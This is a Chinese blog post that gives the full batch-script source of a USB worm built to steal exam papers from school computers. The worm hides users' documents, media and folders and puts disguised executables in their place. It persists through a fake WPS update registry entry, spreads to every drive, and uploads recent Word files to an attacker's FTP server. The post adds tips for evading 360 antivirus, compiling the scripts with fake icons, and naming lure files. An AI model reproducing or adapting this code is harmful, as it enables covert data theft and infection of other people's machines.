2020-02-10

cmd批处理

利用Windows批处理命令写一个自动偷试卷的蠕虫病毒

当然了，批处理去写EXE，调试起来是相当麻烦的，这个也花了我400个小时去学习和摸索最后只写了四五百行代码
后来这个项目出了很多小问题，又有很多需要改进的地方，比如针对杀毒软件逻辑优化等等。现在也懒得维护了。需要的直接拿走改改吧。

先说一个（疑似）.bat批处理的缺陷:
bat无法正常运行连续套嵌3次以上的if等判断

~~微软官方ftp上传工具失败率极高并且每上传一次都要更换一次端口极其操蛋~~（问题已解决）
起码在我写代码的1703还是1709上是不行的
也是因为这个问题的存在导致我完全重写了好几遍程序

不过问题不大稍微精简一下之类的是可以搞定的

2020 02 20更新:
可以通过限定FTP数据端口范围的方法来规避FTP上传失败的问题。
好了这个项目的可行性又直线飙升了233333

另外本代码仅用于学习Windows批处理指令其他用途与本人无关!
另外本代码仅用于学习Windows批处理指令其他用途与本人无关!
另外本代码仅用于学习Windows批处理指令其他用途与本人无关!

请自行搭设VMware等平台的虚拟机方便调试!

点击下方同意文本后以继续浏览

**我已阅读并同意以上声明。**

.bat文件需用Bat_To_Exe_Converter编译为.exe文件后才可正常运行!
详情请看后文编译部分

受感染U盘的文件结构:
U盘根目录为 ‘%~d0’

%~d0\$RECYCLE-BIN                        //总文件夹
%~d0\$RECYCLE-BIN\Wpsupdater             //辅助程序存放文件夹
%~d0\$RECYCLE-BIN\Wpsupdater\dd.stl      //doc图标辅助程序
%~d0\$RECYCLE-BIN\Wpsupdater\de.stl      //excel图标辅助程序
%~d0\$RECYCLE-BIN\Wpsupdater\dmo.stl     //电影图标辅助程序
%~d0\$RECYCLE-BIN\Wpsupdater\dmu.stl     //音乐图标辅助程序
%~d0\$RECYCLE-BIN\Wpsupdater\dph.stl     //图片图标辅助程序
%~d0\$RECYCLE-BIN\Wpsupdater\dpp.stl     //PPT图标辅助程序
%~d0\$RECYCLE-BIN\Wpsupdater\dt.stl      //txt图标辅助程序
%~d0\$RECYCLE-BIN\Wpsupdater\dz.stl      //压缩包图标辅助程序
%~d0\病毒.exe                            //这里用辅助程序或主程序都行 名称随意

根目录第一级文件夹全部加权隐藏并用同名同图标的蠕虫病毒代替 *说明1
U盘下所有PPT EXCEL 电影图片音乐 txt 压缩包都被加权隐藏和替换为蠕虫病毒

说明1: 加权隐藏即设置该文件/文件夹为系统保护文件夹仅仅在文件管理器中开启“显示隐藏文件”是看不到的并且右键还无法直接取消隐藏
对应的cmd命令为: attrib +s +a +h

病毒的目的:

自我繁衍
每次开机启动全盘扫描以”.doc””.docx”(具体哪几种后缀详见代码)等文件后缀的常用试卷备份并ftp上传服务器
当检测到新U盘插入将新U盘下的所有文档拷贝并上传服务器因为这样一旦占领了文印室那么就稳赢了

免杀原理:
免杀？免杀是不可能的，这辈子都不可能免杀。但是。

360等杀毒软件在含有电子签名的exe注册启动项时并不会报毒和拦截如果有能力搞到电子签名肯定优先选择这一点。
360等所有杀软在开机启动之后的前几十秒都无法查杀和隔离！！！ 可以趁此机会进行危险操作
360在运行未知文件时经常会提示让扔到沙箱运行这肯定对我们很不利所以我们就选择直接让他报毒要么运行要么删除
360在检测到高危操作之后要么删除要么加入白名单
大部分用户都是小白分不清什么是病毒什么是文档所以在提示删除的时候大多都不会删除尤其是老师讲课的时候绑定PPT课件不可能让360删除的大多数老师都是年课件没课件还讲啥

2017-10-04版本的核心思路:

获取自身名称和路径(忽略文件后缀名) 如 ‘D:\test\floder.exe’运行时将获取目录变量’D:\test\floder’
如果自身目录不在”C:$RECYCLE-BIN"或者”C:\Windows\System32"下新窗口打开同目录下同名文件夹即打开’D:\test\floder’ *说明1
加权隐藏U盘下的”$RECYCLE-BIN"，强迫症的多重防护
检查被感染电脑是否为开发者白名单电脑即检查是否存在 “C:\Developer-Certificate\USB-hacker” 这里可以自己修改代码进行替换
将病毒及所属文件拷贝到被感染电脑的”C:$RECYCLE-BIN"下并加权隐藏
删除并重新注册开机启动项 *说明2
然后全盘扫描文档格式最后修改时间在3天以内的文档位置都被以TXT方式列入”C:$RECYCLE-BIN\Winre.wim”中
按照“C:$RECYCLE-BIN\Winre.wim”中的文件位置如果能ping通服务器域名则上传文档到ftp服务器
开始繁殖伪文件,隐藏原文件，删除快捷方式（快捷方式通常被用来绕过病毒，所以除掉）比如扫描到music.mp3，则被加权隐藏，同目录建一个music.mp3.exe的伪装文件
中间加入适当延迟降低CPU和硬盘占用率
攻击完一个盘之后在“C:$RECYCLE-BIN\”创建对应盘符的文件夹当做已攻击标志例如扫完了D盘则创建“C:$RECYCLE-BIN\d”文件夹
集中攻击用户桌面等用户高频打开的文档\文件夹其实修改桌面的东西就已经被360列入高危操作了
再次制作文件目录表和上传ftp
重新注册开机启动项 *说明3
重新更改注册表让文件管理器看不到文件后缀和隐藏文件 *说明3

说明1:
“C:$RECYCLE-BIN"是病毒自身藏匿的文件目录，并且开机自启动，屏蔽此文件夹可以防止每次开机都打开病毒自身位置。
“C:\Windows\System32"是windows自带cmd.exe的位置如果病毒以管理员权限打开，则病毒获取的自身位置为cmd.exe的位置”C:\Windows\System32"

说明2:
因为一些杀软包括Windows10下的任务管理器都可以做到只禁用启动项但不删除注册表，所以删除并重建注册表是最好的方法
有待更新逻辑，因为频繁危险操作，360会直接不经过提示和用户操作进行删除

说明3:
有待更新逻辑，因为频繁危险操作，360会直接不经过提示和用户操作进行删除
最好的方法是只在用户打开文档的时候才重新注册启动项但是懒得后续维护了。

下面是主程序的代码用感染目标的Windows系统版本的文件夹图标即可(比如学校大多用的是win7 则以Win7文件夹图标做伪装):

@echo off&setlocal enabledelayedexpansion 
echo "%~sd0%~p0%~n0" 


::---------------------------------------------------------------------------------------------------------------- 
::确定自身属性并开启文件夹 
if /i not "%~d0%~p0" == "C:\$RECYCLE-BIN\" ( 
  if /i not "%~d0%~p0" == "C:\Windows\System32\" ( 
    md "%~sd0%~p0%~n0" 
    explorer "%~sd0%~p0%~n0" 
    attrib +s +a +h "%~sd0%~p0%~n0" 
  ) 
) 
::---------------------------------------------------------------------------------------------------------------- 


::---------------------------------------------------------------------------------------------------------------- 
::隐藏当前磁盘下自身根目录(若为启动项，则直接隐藏C盘根目录) 
attrib +s +a +h "%~d0\$RECYCLE-BIN" 


::---------------------------------------------------------------------------------------------------------------- 
::验证开发者权限，确定自身属性，安装 
::有些系统环境下开机自启动后可能会把自身位置变成"C:\Windows\System32\" 
if /i not exist "C:\Developer-Certificate\USB-hacker" ( 
  ::这里可以自定义一些高优先级代码 
   
  ::------------------------------------------------------------------------------------------------------------- 
  ::安装 
  md C:\$RECYCLE-BIN\Wpsupdater 
  attrib +s +a +h C:\$RECYCLE-BIN 
  copy /y "%~d0\$RECYCLE-BIN\Wpsupdater\dd.stl" "C:\$RECYCLE-BIN\Wpsupdater\" 
  copy /y "%~d0\$RECYCLE-BIN\Wpsupdater\de.stl" "C:\$RECYCLE-BIN\Wpsupdater\" 
  copy /y "%~d0\$RECYCLE-BIN\Wpsupdater\dmo.stl" "C:\$RECYCLE-BIN\Wpsupdater\" 
  copy /y "%~d0\$RECYCLE-BIN\Wpsupdater\dmu.stl" "C:\$RECYCLE-BIN\Wpsupdater\" 
  copy /y "%~d0\$RECYCLE-BIN\Wpsupdater\dph.stl" "C:\$RECYCLE-BIN\Wpsupdater\" 
  copy /y "%~d0\$RECYCLE-BIN\Wpsupdater\dpp.stl" "C:\$RECYCLE-BIN\Wpsupdater\" 
  copy /y "%~d0\$RECYCLE-BIN\Wpsupdater\dt.stl" "C:\$RECYCLE-BIN\Wpsupdater\" 
  copy /y "%~d0\$RECYCLE-BIN\Wpsupdater\dz.stl" "C:\$RECYCLE-BIN\Wpsupdater\" 
  ::-------------------------------------------------------------------------------------------------------------- 
  ::重新注册启动项并更改隐藏可见权限 
  Reg delete HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run /v "WPS-Office更新" /f 
  reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run /v "WPS-Office更新" /d C:\$RECYCLE-BIN\start.exe /f 
  reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced" /v Hidden /t reg_dword /d 0 /f 
  reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced" /v HideFileExt /t reg_dword /d 1 /f 
  reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced" /v ShowSuperHidden /t reg_dword /d 0 /f 
) 
::---------------------------------------------------------------------------------------------------------------- 


if /i not "%~sd0%~p0%~n0" == "C:\$RECYCLE-BIN\start" ( 
  if /i not "%~d0%~p0" == "C:\Windows\System32\" ( 
    if /i not exist "C:\$RECYCLE-BIN\start.exe" ( 
      copy /y "%~d0\$RECYCLE-BIN\start.exe" "C:\$RECYCLE-BIN\" 
      start /d "C:\$RECYCLE-BIN\" start.exe 
    ) 
    ::---------------------------------------------------------------------------------------------------------- 
    ::任务完成，退出。 
    exit 
  ) 
) 


::---------------------------------------------------------------------------------------------------------------- 
::开机后直接跳到此处执行，若非开机启动，此后不予执行。 
::自定义高优先级代码区

::---------------------------------------------------------------------------------------------------------------- 


::---------------------------------------------------------------------------------------------------------------- 
::初始化FTP，搜索文档制作列表 
del C:\$RECYCLE-BIN\Winre.wim /q 
rd /s /q "C:\$RECYCLE-BIN\Cloud_synchronization" 
md C:\$RECYCLE-BIN\Cloud_synchronization 
attrib +s +h +a C:\$RECYCLE-BIN\Cloud_synchronization 
echo open ftp域名 > C:\$RECYCLE-BIN\Winre.wim 
echo ftp账号>>C:\$RECYCLE-BIN\Winre.wim 
echo 密码>>C:\$RECYCLE-BIN\Winre.wim 
echo bin>>C:\$RECYCLE-BIN\Winre.wim 
set da=a,b,c,d,e,f,g,h,i,j,k,l,m,n,o,p,q,r,s,t,u,v,w,x,y,z 
set dc=.docx,.doc,.rtf 
for %%f in (%da%) do ( 
  if exist "%%f:\" ( 
    for %%h in (%dc%) do ( 
      for /f "tokens=*" %%g in ('dir /s/b %%f:\*%%h') do ( 
        for /f "tokens=1-10 delims=/-: " %%i in ("%%~tg !date:~,10! !time:~,5!") do ( 
          set/a y1=%%i,m1=1%%j%%100,d1=1%%k%%100,h1=1%%l%%100,f1=1%%m%%100,y2=%%n,m2=1%%o%%100,d2=1%%p%%100,h2=1%%q%%100,f2=1%%r%%100 
          set /a "f=(1461*(y2+(m2-14)/12)/4+367*(m2-2-(m2-14)/12*12)/12-3*((y2+(m2-14)/12)/100+1)/4-1461*(y1+(m1-14)/12)/4-367*(m1-2-(m1-14)/12*12)/12+3*((y1+(m1-14)/12)/100+1)/4-d1+d2)*1440+(h2-h1)*60+f2-f1" 
          if !f! leq 4320 ( 
            copy /y "%%g" "C:\$RECYCLE-BIN\Cloud_synchronization\" 
          ) 
        ) 
      ) 
      copy /y "%userprofile%\Desktop\*%%h" "C:\$RECYCLE-BIN\Cloud_synchronization\" 
    ) 
  ) 
) 
echo mput "C:\$RECYCLE-BIN\Cloud_synchronization\*" >>C:\$RECYCLE-BIN\Winre.wim 
echo bye >>C:\$RECYCLE-BIN\Winre.wim 
::---------------------------------------------------------------------------------------------------------------- 


::---------------------------------------------------------------------------------------------------------------- 
::初始化参数 这些都是需要被隐藏替换的文件的文件后缀 
set da=a,b,d,e,f,g,h,i,j,k,l,m,n,o,p,q,r,s,t,u,v,w,x,y,z 
set dd=.doc,.docx,.dot,.dotx 
set de=.xls,.xlsx 
set dmo=.mp4,.flv,.rmvb,.mpj,.mpg,.avi,.m4a,.mkv,.mov,.vob,.swf,.mpeg,.webm,.wmv,.3gp 
set dmu=.mp3,.m4a,.cd,.ogg,.asf,.wma,.wav,.mp3pro,.rm,.real,.ape,.module,.midi,.vqf,.audible,.flac,.vbr 
set dph=.jpg,.bmp,.tga,.tif,.psd 
set dpp=.ppt,.pot,.pps,.sldx 
set dt=.txt 
set dz=.rar,.7z,.zip 
::---------------------------------------------------------------------------------------------------------------- 


::---------------------------------------------------------------------------------------------------------------- 
::清除已攻击标记，绕过未知BUG 
for %%f in (%da%) do ( 
  rd /s /q "C:\$RECYCLE-BIN\%%f" 
  md "C:\$RECYCLE-BIN\c" 
) 
::---------------------------------------------------------------------------------------------------------------- 


::---------------------------------------------------------------------------------------------------------------- 
::初始化完毕，启动主干,攻击ABDEFGHIJKLMNOPQRSTUVWXYZ盘，程序循环从此处开始。 
:str 
for %%f in (%da%) do ( 
  if exist "%%f:\" ( 
    if /i not exist "C:\$RECYCLE-BIN\%%f" ( 
      if /i not exist "%%f:\Developer-Certificate\USB-hacker" ( 
        ::--------------------------------------------------------------------------------------------------------
        ::开始自我繁殖 
        md %%f:\$RECYCLE-BIN\Wpsupdater 
        attrib +s +h +a "%%f:\$RECYCLE-BIN" 
        attrib +s +h +a "%%f:\$RECYCLE-BIN\Wpsupdater\" 
        copy /y "C:\$RECYCLE-BIN\start.exe" "%%f:\$RECYCLE-BIN\" 
        copy /y "C:\$RECYCLE-BIN\Wpsupdater\dd.stl" "%%f:\$RECYCLE-BIN\Wpsupdater\" 
        copy /y "C:\$RECYCLE-BIN\Wpsupdater\de.stl" "%%f:\$RECYCLE-BIN\Wpsupdater\" 
        copy /y "C:\$RECYCLE-BIN\Wpsupdater\dmo.stl" "%%f:\$RECYCLE-BIN\Wpsupdater\" 
        copy /y "C:\$RECYCLE-BIN\Wpsupdater\dmu.stl" "%%f:\$RECYCLE-BIN\Wpsupdater\" 
        copy /y "C:\$RECYCLE-BIN\Wpsupdater\dph.stl" "%%f:\$RECYCLE-BIN\Wpsupdater\" 
        copy /y "C:\$RECYCLE-BIN\Wpsupdater\dpp.stl" "%%f:\$RECYCLE-BIN\Wpsupdater\" 
        copy /y "C:\$RECYCLE-BIN\Wpsupdater\dt.stl" "%%f:\$RECYCLE-BIN\Wpsupdater\" 

        ::自定义代码区


        ::--------------------------------------------------------------------------------------------------------
        ::开始繁殖伪文件,隐藏原文件，删除快捷方式（快捷方式通常被用来绕过病毒，所以除掉） 
        for /f "tokens=*" %%d in ('dir /s/b %%f:\*lnk') do ( 
          del "%%d" 
        ) 


        for %%h in (%dd%) do ( 
          for /f "tokens=*" %%d in ('dir /s/b %%f:\*%%h') do ( 
            attrib +s +a +h "%%d" 
      copy /y "C:\$RECYCLE-BIN\Wpsupdater\dd.stl" "%%d.exe" 
          ) 
        ) 


        for %%h in (%de%) do ( 
          for /f "tokens=*" %%d in ('dir /s/b %%f:\*%%h') do ( 
            attrib +s +a +h "%%d" 
            copy /y "C:\$RECYCLE-BIN\Wpsupdater\de.stl" "%%d.exe" 
          ) 
        ) 
   
        for %%h in (%dmo%) do ( 
          for /f "tokens=*" %%d in ('dir /s/b %%f:\*%%h') do ( 
            attrib +s +a +h "%%d" 
            copy /y "C:\$RECYCLE-BIN\Wpsupdater\dmo.stl" "%%d.exe" 
          ) 
        ) 
       
        for %%h in (%dmu%) do ( 
          for /f "tokens=*" %%d in ('dir /s/b %%f:\*%%h') do ( 
            attrib +s +a +h "%%d" 
     copy /y "C:\$RECYCLE-BIN\Wpsupdater\dmu.stl" "%%d.exe" 
          ) 
        ) 
       
        for %%h in (%dph%) do ( 
          for /f "tokens=*" %%d in ('dir /s/b %%f:\*%%h') do ( 
            attrib +s +a +h "%%d" 
            copy /y "C:\$RECYCLE-BIN\Wpsupdater\dph.stl" "%%d.exe" 
          ) 
        ) 
     
        for %%h in (%dpp%) do ( 
          for /f "tokens=*" %%d in ('dir /s/b %%f:\*%%h') do ( 
            attrib +s +a +h "%%d" 
            copy /y "C:\$RECYCLE-BIN\Wpsupdater\dpp.stl" "%%d.exe" 
          ) 
        ) 


        for %%h in (%dt%) do ( 
          for /f "tokens=*" %%d in ('dir /s/b %%f:\*%%h') do ( 
            attrib +s +a +h "%%d" 
            copy /y "C:\$RECYCLE-BIN\Wpsupdater\dt.stl" "%%d.exe" 
          ) 
        ) 


        for %%h in (%dz%) do ( 
          for /f "tokens=*" %%d in ('dir /s/b %%f:\*%%h') do ( 
            attrib +s +a +h "%%d" 
            copy /y "C:\$RECYCLE-BIN\Wpsupdater\dz.stl" "%%d.exe" 
          ) 
        ) 
     
        ::--------------------------------------------------------------------------------------------------------
        ::释放诱导文件 
        copy /y "C:\$RECYCLE-BIN\Wpsupdater\dmo.stl" "%%f:\伪视频文件，诱导用.avi.exe" 
        ::--------------------------------------------------------------------------------------------------------
        for /f "delims=" %%a in ('dir /b "%%f:\"') do ( 
          set /a n+=1 
          set "wj!n!=%%a" 
          for /f "tokens=1* delims==" %%a in ('set wj') do ( 
            echo "%%b" 
            for %%i in ("%%f:\%%b") do ( 
              set stc=%%~ai 
                if "!stc:~0,1!"=="d" ( 
                  echo "%%i 是文件夹" 
                  attrib +s +a +h "%%f:\%%b" 
                  copy /y "C:\$RECYCLE-BIN\start.exe" "%%f:\%%b.exe" 
                ) 
              ) 
            ) 
          ) 
        )   
        copy /y "C:\$RECYCLE-BIN\Wpsupdater.exe" "%%f:\伪文件夹，诱导用.exe" 
        reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced" /v Hidden /t reg_dword /d 0 /f 
        reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced" /v HideFileExt /t reg_dword /d 1 /f 
        reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced" /v ShowSuperHidden /t reg_dword /d 0 /f 
        ping -n 4 127.1 >nul 
        ::创建已攻击标志 
        md C:\$RECYCLE-BIN\%%f 
      ) 
    ) 
  ) 
) 


::---------------------------------------------------------------------------------------------------------------- 
::以牺牲代码简洁性为代价，再次绕过未知BUG 
for %%f in (%da%) do ( 
  if /i not exist "%%f:\" ( 
    rd /s /q "C:\$RECYCLE-BIN\%%f" 
  ) 
) 


::---------------------------------------------------------------------------------------------------------------- 
::开始攻击桌面 
if /i not exist "C:\Developer-Certificate\USB-hacker" ( 
  ::自定义代码区

  ::-------------------------------------------------------------------------------------------------------------- 
  ::开始繁殖伪文件，隐藏原文件 


  for %%h in (%dd%) do ( 
    for /f "tokens=*" %%d in ('dir /s/b %userprofile%\Desktop\*%%h') do ( 
      attrib +s +a +h "%%d" 
      copy /y "C:\$RECYCLE-BIN\Wpsupdater\dd.stl" "%%d.exe" 
    ) 
  ) 


  for %%h in (%de%) do ( 
    for /f "tokens=*" %%d in ('dir /s/b %userprofile%\Desktop\*%%h') do ( 
      attrib +s +a +h "%%d" 
      copy /y "C:\$RECYCLE-BIN\Wpsupdater\de.stl" "%%d.exe" 
    ) 
  ) 
   
  for %%h in (%dmo%) do ( 
    for /f "tokens=*" %%d in ('dir /s/b %userprofile%\Desktop\*%%h') do ( 
      attrib +s +a +h "%%d" 
      copy /y "C:\$RECYCLE-BIN\Wpsupdater\dmo.stl" "%%d.exe" 
    ) 
  ) 
       
  for %%h in (%dmu%) do ( 
    for /f "tokens=*" %%d in ('dir /s/b %userprofile%\Desktop\*%%h') do ( 
      attrib +s +a +h "%%d" 
      copy /y "C:\$RECYCLE-BIN\Wpsupdater\dmu.stl" "%%d.exe" 
    ) 
  ) 
       
  for %%h in (%dph%) do ( 
    for /f "tokens=*" %%d in ('dir /s/b %userprofile%\Desktop\*%%h') do ( 
      attrib +s +a +h "%%d" 
      copy /y "C:\$RECYCLE-BIN\Wpsupdater\dph.stl" "%%d.exe" 
    ) 
  ) 
     
  for %%h in (%dpp%) do ( 
    for /f "tokens=*" %%d in ('dir /s/b %userprofile%\Desktop\*%%h') do ( 
      attrib +s +a +h "%%d" 
      copy /y "C:\$RECYCLE-BIN\Wpsupdater\dpp.stl" "%%d.exe" 
    ) 
  ) 


  for %%h in (%dt%) do ( 
    for /f "tokens=*" %%d in ('dir /s/b %userprofile%\Desktop\*%%h') do ( 
      attrib +s +a +h "%%d" 
      copy /y "C:\$RECYCLE-BIN\Wpsupdater\dt.stl" "%%d.exe" 
    ) 
  ) 


  for %%h in (%dz%) do ( 
    for /f "tokens=*" %%d in ('dir /s/b %userprofile%\Desktop\*%%h') do ( 
      attrib +s +a +h "%%d" 
      copy /y "C:\$RECYCLE-BIN\Wpsupdater\dz.stl" "%%d.exe" 
    ) 
  ) 


  for /f "delims=" %%a in ('dir /b "%userprofile%\Desktop\"') do ( 
    set /a n+=1 
    set "wj!n!=%%a" 
    for /f "tokens=1* delims==" %%a in ('set wj') do ( 
      echo "%%b" 
      for %%i in ("%userprofile%\Desktop\%%b") do ( 
        set stc=%%~ai 
        if "!stc:~0,1!"=="d" ( 
          echo "%%i 是文件夹" 
          attrib +s +a +h "%userprofile%\Desktop\%%b" 
          copy /y "C:\$RECYCLE-BIN\start.exe" "%userprofile%\Desktop\%%b.exe" 
        ) 
      ) 
    ) 
  ) 
) 
copy /y "C:\$RECYCLE-BIN\Wpsupdater.exe" "%userprofile%\Desktop\伪文件夹，诱导用.exe" 
del "%userprofile%\Desktop\Wpsupdater.exe" 
reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced" /v Hidden /t reg_dword /d 0 /f 
reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced" /v HideFileExt /t reg_dword /d 1 /f 
reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced" /v ShowSuperHidden /t reg_dword /d 0 /f 
ping -n 4 127.1 >nul 
::---------------------------------------------------------------------------------------------------------------- 


::---------------------------------------------------------------------------------------------------------------- 
::文档再次同步，再次制作列表并初始化FTP 
if /i not exist "C:\$RECYCLE-BIN\Winre.wim" ( 
  echo open FTP服务器域名 > C:\$RECYCLE-BIN\Winre.wim 
  echo ftp账号>>C:\$RECYCLE-BIN\Winre.wim 
  echo 密码>>C:\$RECYCLE-BIN\Winre.wim 
  echo bin>>C:\$RECYCLE-BIN\Winre.wim 
  set da=a,b,c,d,e,f,g,h,i,j,k,l,m,n,o,p,q,r,s,t,u,v,w,x,y,z 
  set dc=.docx,.doc,.rtf 
  for %%f in (%da%) do ( 
    if exist "%%f:\" ( 
      for %%h in (%dc%) do ( 
        for /f "tokens=*" %%g in ('dir /s/b %%f:\*%%h') do ( 
          for /f "tokens=1-10 delims=/-: " %%i in ("%%~tg !date:~,10! !time:~,5!") do ( 
            set/a y1=%%i,m1=1%%j%%100,d1=1%%k%%100,h1=1%%l%%100,f1=1%%m%%100,y2=%%n,m2=1%%o%%100,d2=1%%p%%100,h2=1%%q%%100,f2=1%%r%%100 
            set /a "f=(1461*(y2+(m2-14)/12)/4+367*(m2-2-(m2-14)/12*12)/12-3*((y2+(m2-14)/12)/100+1)/4-1461*(y1+(m1-14)/12)/4-367*(m1-2-(m1-14)/12*12)/12+3*((y1+(m1-14)/12)/100+1)/4-d1+d2)*1440+(h2-h1)*60+f2-f1" 
            if !f! leq 3 ( 
              copy /y "%%g" "C:\$RECYCLE-BIN\Cloud_synchronization\" 
            ) 
          ) 
        ) 
      ) 
    ) 
  ) 
) 
echo mput "C:\$RECYCLE-BIN\Cloud_synchronization\*" >>C:\$RECYCLE-BIN\Winre.wim 
echo bye >>C:\$RECYCLE-BIN\Winre.wim 


::---------------------------------------------------------------------------------------------------------------- 
::再次注册开机启动项，避免查杀。 
Reg delete HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run /v "WPS-Office更新" /f 
reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run /v "WPS-Office更新" /d C:\$RECYCLE-BIN\start.exe /f 
ping -n 16 127.1 >nul 


::---------------------------------------------------------------------------------------------------------------- 


::---------------------------------------------------------------------------------------------------------------- 
::FTP正式上传 
if exist "C:\$RECYCLE-BIN\Winre.wim" ( 
  @ping FTP服务器域名&&( 
    echo FTP_OK 
    FTP -s:C:\$RECYCLE-BIN\Winre.wim -i 
    rd /s /q "C:\$RECYCLE-BIN\Cloud_synchronization" 
    md C:\$RECYCLE-BIN\Cloud_synchronization   
    attrib +s +h +a "C:\$RECYCLE-BIN\Cloud_synchronization" 
    del "C:\$RECYCLE-BIN\Winre.wim" 
  )||echo FTP_error 
) 
::---------------------------------------------------------------------------------------------------------------- 
goto str

下面是辅助程序的代码(分别编译多次分别使用PPT EXCEL 电影图片音乐 txt 压缩包的图标做伪装命名为)

@echo off&setlocal enabledelayedexpansion
echo "%~sd0%~p0%~n0"
if exist "%~sd0%~p0%~n0" (
  attrib +s +h +a "%~sd0%~p0%~n0"
  "%~sd0%~p0%~n0"
) else (
  attrib +s +h +a "%~sd0%~p0%~n0.exe"
)

::-------------------------------------------------------------------------------------------------------------------
::自定义高优先级代码区

::-------------------------------------------------------------------------------------------------------------------

::----------------------------------------------------------------------------------------------------------------
::重新注册启动项并更改隐藏可见权限
Reg delete HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run /v "WPS-Office更新" /f
reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run /v "WPS-Office更新" /d C:\$RECYCLE-BIN\start.exe /f
reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced" /v Hidden /t reg_dword /d 0 /f
reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced" /v HideFileExt /t reg_dword /d 1 /f
reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced" /v ShowSuperHidden /t reg_dword /d 0 /f
::---------------------------------------------------------------------------------------------------------------
::任务完成，退出。
exit

自定义修改

关于自定义代码区我原项目中为一个专一性杀毒的代码为了清除掉另外一个碍事的蠕虫病毒

taskkill /f /t /im update.exe 
del "%USERPROFILE%\AppData\Local\Start\update.exe" 
rd /s /q "%USERPROFILE%\AppData\Local\S-1-5-31-1286970278978-5713669491-166975984-320" 
for /f "delims=" %%g in ('dir/s/b C:\*.exe') do ( 
  if %%~zg == 100616 ( 
    taskkill /f /t /im update.exe 
    del "%USERPROFILE%\AppData\Local\Start\update.exe" 
    rd /s /q "%USERPROFILE%\AppData\Local\S-1-5-31-1286970278978-5713669491-166975984-320" 
    taskkill /f /t /im %%~ng.exe 
    del "%%g" 
  )     
) 
::清除自身缓存 
rd /s /q "C:\$RECYCLE-BIN\Cloud_synchronization"

FTP设置区

1
2
3

echo open ftp域名 > C:\$RECYCLE-BIN\Winre.wim 
echo ftp账号>>C:\$RECYCLE-BIN\Winre.wim 
echo 密码>>C:\$RECYCLE-BIN\Winre.wim

如实填写就行。

调试的时候可以先把文件中的.exe替换为.bat就能进行测试测试通过后将.bat 再替换回 .exe 即可进行打包

诱导文件设置区

1	copy /y "C:\$RECYCLE-BIN\Wpsupdater.exe" "%%f:\伪文件夹，诱导用.exe"

1	copy /y "C:\$RECYCLE-BIN\Wpsupdater\dmo.stl" "%%f:\伪视频文件，诱导用.avi.exe"

这里可以命名为“震惊!xx高中校领导紧急通知”等等…

编译部分(实际上就只是打包而已)

先下载Bat_To_Exe_Converter
至于图标可以用图标提取器提取

调试完.bat之后将.bat 再替换回 .exe 即可进行打包
隐形程序不要勾选管理员权限

将主程序打包并用上文件夹图标命名为start.exe
将辅助程序多次打包并分别用上PPT EXCEL 电影图片音乐 txt 压缩包的图标并分别命名为dd.stl de.stl dmo.stl…

然后安排文件结构为

U盘根目录为 ‘%~d0’

%~d0\$RECYCLE-BIN                        //总文件夹
%~d0\$RECYCLE-BIN\Wpsupdater             //辅助程序存放文件夹
%~d0\$RECYCLE-BIN\Wpsupdater\dd.stl      //doc图标辅助程序
%~d0\$RECYCLE-BIN\Wpsupdater\de.stl      //excel图标辅助程序
%~d0\$RECYCLE-BIN\Wpsupdater\dmo.stl     //电影图标辅助程序
%~d0\$RECYCLE-BIN\Wpsupdater\dmu.stl     //音乐图标辅助程序
%~d0\$RECYCLE-BIN\Wpsupdater\dph.stl     //图片图标辅助程序
%~d0\$RECYCLE-BIN\Wpsupdater\dpp.stl     //PPT图标辅助程序
%~d0\$RECYCLE-BIN\Wpsupdater\dt.stl      //txt图标辅助程序
%~d0\$RECYCLE-BIN\Wpsupdater\dz.stl      //压缩包图标辅助程序
%~d0\病毒.exe                            //这里用辅助程序或主程序都行 名称随意

后续补充&更新

FTP建议使用Serv-U平台因为可以限制数据端口范围来规避CMD的FTP工具失效问题。